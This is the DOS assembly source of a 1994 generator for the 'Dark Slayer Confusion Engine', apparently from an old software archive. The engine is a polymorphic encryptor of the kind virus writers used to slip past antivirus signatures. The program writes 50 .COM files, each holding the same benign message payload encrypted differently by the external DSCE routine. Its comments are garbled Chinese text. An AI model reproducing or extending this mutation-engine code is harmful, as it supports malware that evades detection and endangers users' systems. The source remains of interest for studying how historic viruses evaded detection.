home *** CD-ROM | disk | FTP | other *** search
-
- ; Dark Slayer Confusion Engine v1.0 <04-19-94>
- ; Written by Dark Slayer in Keelung, Taiwan <R.O.C>
-
- DSCE_GEN SEGMENT
- ASSUME CS:DSCE_GEN,DS:DSCE_GEN
- ORG 0100h
-
- MSG_ADDR EQU OFFSET MSG-OFFSET PROC_START-0007h
-
- EXTRN DSCE:NEAR,DSCE_END:NEAR
- EXTRN RND:NEAR
-
- ; ÑHñU╡{ªííA░úñF¡n¬`╖N¬║ªañΦª│¬`╕╤íA¿ΣѪ│íÑ≈ª█ñv¼π¿s
-
- START:
- MOV AH,09h
- MOV DX,OFFSET DG_MSG
- INT 21h
-
- MOV AX,OFFSET DSCE_END+000Fh ; Ñ╗╡{ªí + DSCE+000Fh ñº½ß¬║ª∞º}
- ; ¡Y┤ε 0100h ½hª¿¼░Ñ╗╡{ªí + DSCE ¬║¬°½╫
-
- MOV CL,04h
- SHR AX,CL
- MOV BX,CS
- ADD BX,AX
-
- MOV ES,BX ; │] ES Ñ╬¿╙⌐±╕╤╜X╡{ªí⌐M│Q╜s╜X╕Ω«╞
- ; ╕╤╜X╡{ªí│╠ñj¼░ 1024 Bytes
- ; ¡YÑ╬ªb▒`╛n╡{ªí«╔íA½h╢╖¬`╖Nñ└░t¬║░O╛╨┼Θñjñp
-
- MOV CX,50
- DG_L0:
- PUSH CX
- MOV AH,3Ch
- XOR CX,CX
- MOV DX,OFFSET FILE_NAME
- INT 21h
- XCHG BX,AX
-
- MOV BP,0100h ; ╕╤╜X╡{ªí░╛▓╛ª∞º}
- ; Ñ╬¿╙╝g¼r«╔½h¿╠▒²╖P¼V└╔«╫ñºñjñpª╙│]
-
- MOV CX,OFFSET PROC_END-OFFSET PROC_START ; │Q╜s╜X╡{ªí¬║¬°½╫
-
- MOV DX,OFFSET PROC_START ; DS:DX -> ¡n│Q╜s╜X¬║╡{ªíª∞º}
-
- PUSH BX ; ½Oªs File handle
-
- CALL RND
- XCHG BX,AX
- CALL DSCE
-
- POP BX
-
- MOV AH,40h ; ¬≡ª^«╔ DS:DX = ╕╤╜X╡{ªí + │Q╜s╜X╡{ªí¬║ª∞º}
- INT 21h ; CX = ╕╤╜X╡{ªí + │Q╜s╜X╡{ªí¬║¬°½╫íA¿ΣѪ╝╚ªs╛╣ñú┼▄
-
- MOV AH,3Eh
- INT 21h
-
- PUSH CS
- POP DS ; ▒N DS │]ª^¿╙
-
- MOV BX,OFFSET FILE_NUM
- INC BYTE PTR DS:[BX+0001h]
- CMP BYTE PTR DS:[BX+0001h],'9'
- JBE DG_L1
- INC BYTE PTR DS:[BX]
- MOV BYTE PTR DS:[BX+0001h],'0'
- DG_L1:
- POP CX
- LOOP DG_L0
- MOV AH,4Ch
- INT 21h
-
- FILE_NAME DB '000000'
- FILE_NUM DB '00.COM',00h
-
- DG_MSG DB 'Generates 50 DSCE encrypted test files.',0Dh,0Ah,'$'
-
- PROC_START:
- PUSH CS
- POP DS
- MOV AH,09h
- CALL $+0003h
- POP DX
- ADD DX,MSG_ADDR
- INT 21h
- INT 20h
- MSG DB 'Dark Slayer !!$'
- PROC_END:
-
- DSCE_GEN ENDS
- END START